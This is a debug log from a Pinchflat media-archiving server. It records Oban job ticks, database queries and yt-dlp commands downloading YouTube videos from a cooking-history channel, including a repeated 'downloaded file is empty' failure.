{"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:14:18.013 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:48.014 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.141 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:15:18.015 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:48.016 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.142 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:16:18.017 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:48.018 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.143 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:17:18.019 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:48.020 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.144 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:18:18.021 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:48.022 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.145 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:19:18.023 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:48.024 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.146 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:20:18.025 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:48.027 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.148 [info] {"source":"oban","duration":341,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:21:18.029 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:48.030 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.148 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:22:18.032 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:48.033 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.149 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:23:18.034 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:48.036 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.150 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:24:18.038 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:48.039 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:56.660 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774949096660388948,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:24:56.660 [debug] QUERY OK source="media_items" db=0.2ms idle=1265.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 05:24:56.661 [info] User scripts lifecyle file either not present or is empty. Skipping. 05:24:56.661 [debug] QUERY OK source="sources" db=0.2ms idle=1265.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:24:56.661 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:24:56.662 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 05:24:56.662 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 05:24:56.663 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:24:56.663 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:24:56.663 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:24:56.663 [debug] Running yt-dlp command for action: get_downloadable_status 05:24:56.664 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:24:56.664 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:24:56.664 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:24:56.664 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b8/60/b86049839c2814319d5ef105f3510b50d62c5b71f4bee98d4efab683b12622fe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 05:25:00.151 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:25:00.368 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b8/60/b86049839c2814319d5ef105f3510b50d62c5b71f4bee98d4efab683b12622fe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 05:25:00.369 [debug] Running yt-dlp command for action: download 05:25:00.369 [debug] QUERY OK source="settings" db=0.1ms idle=1973.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:25:00.369 [debug] QUERY OK source="settings" db=0.0ms idle=1973.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:25:00.369 [debug] QUERY OK source="settings" db=0.0ms idle=1713.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:25:00.369 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/41/d8/41d8f2078e49a5846a2a00274bda830743ffc1a70f386a22979b15997a72d4f4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 05:25:18.041 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:48.043 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.152 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:26:18.044 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:48.045 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.153 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:27:18.046 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:48.047 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.155 [info] {"source":"oban","duration":368,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:28:18.048 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:48.049 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.156 [info] {"source":"oban","duration":402,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:29:18.051 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:44.895 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/41/d8/41d8f2078e49a5846a2a00274bda830743ffc1a70f386a22979b15997a72d4f4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 05:29:44.895 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 05:29:44.895 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":288234891,"event":"job:exception","queue_time":11596,"attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:29:48.053 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.156 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:30:18.054 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:48.055 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.157 [info] {"source":"oban","duration":302,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:31:18.056 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:24.105 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774949484105435707,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:31:24.106 [debug] QUERY OK source="media_items" db=0.2ms idle=709.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 05:31:24.106 [info] User scripts lifecyle file either not present or is empty. Skipping. 05:31:24.106 [debug] QUERY OK source="sources" db=0.2ms idle=710.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:31:24.107 [debug] QUERY OK source="media_profiles" db=0.2ms idle=710.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:31:24.107 [debug] QUERY OK source="media_items" db=0.3ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 05:31:24.108 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 05:31:24.108 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:31:24.108 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:24.109 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:24.109 [debug] Running yt-dlp command for action: get_downloadable_status 05:31:24.109 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:24.109 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:24.110 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:24.110 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/73/df/73dff964fdf4328e2cecc3f73d04fecc8edac0cbd3c43de303e923d4ad5bc2c0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 05:31:27.884 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/73/df/73dff964fdf4328e2cecc3f73d04fecc8edac0cbd3c43de303e923d4ad5bc2c0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 05:31:27.885 [debug] Running yt-dlp command for action: download 05:31:27.885 [debug] QUERY OK source="settings" db=0.1ms idle=782.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:27.885 [debug] QUERY OK source="settings" db=0.0ms idle=489.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:27.885 [debug] QUERY OK source="settings" db=0.1ms idle=490.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:31:27.886 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8b/4b/8b4b93ac7960e9813a4554c430d962003797db9ade576869767d0330df13c8b7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 05:31:48.058 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.158 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:32:18.060 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:48.061 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.160 [info] {"source":"oban","duration":408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:33:18.062 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:48.063 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.160 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:34:18.064 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:48.065 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.161 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:35:18.066 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:48.067 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.162 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:36:12.360 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j 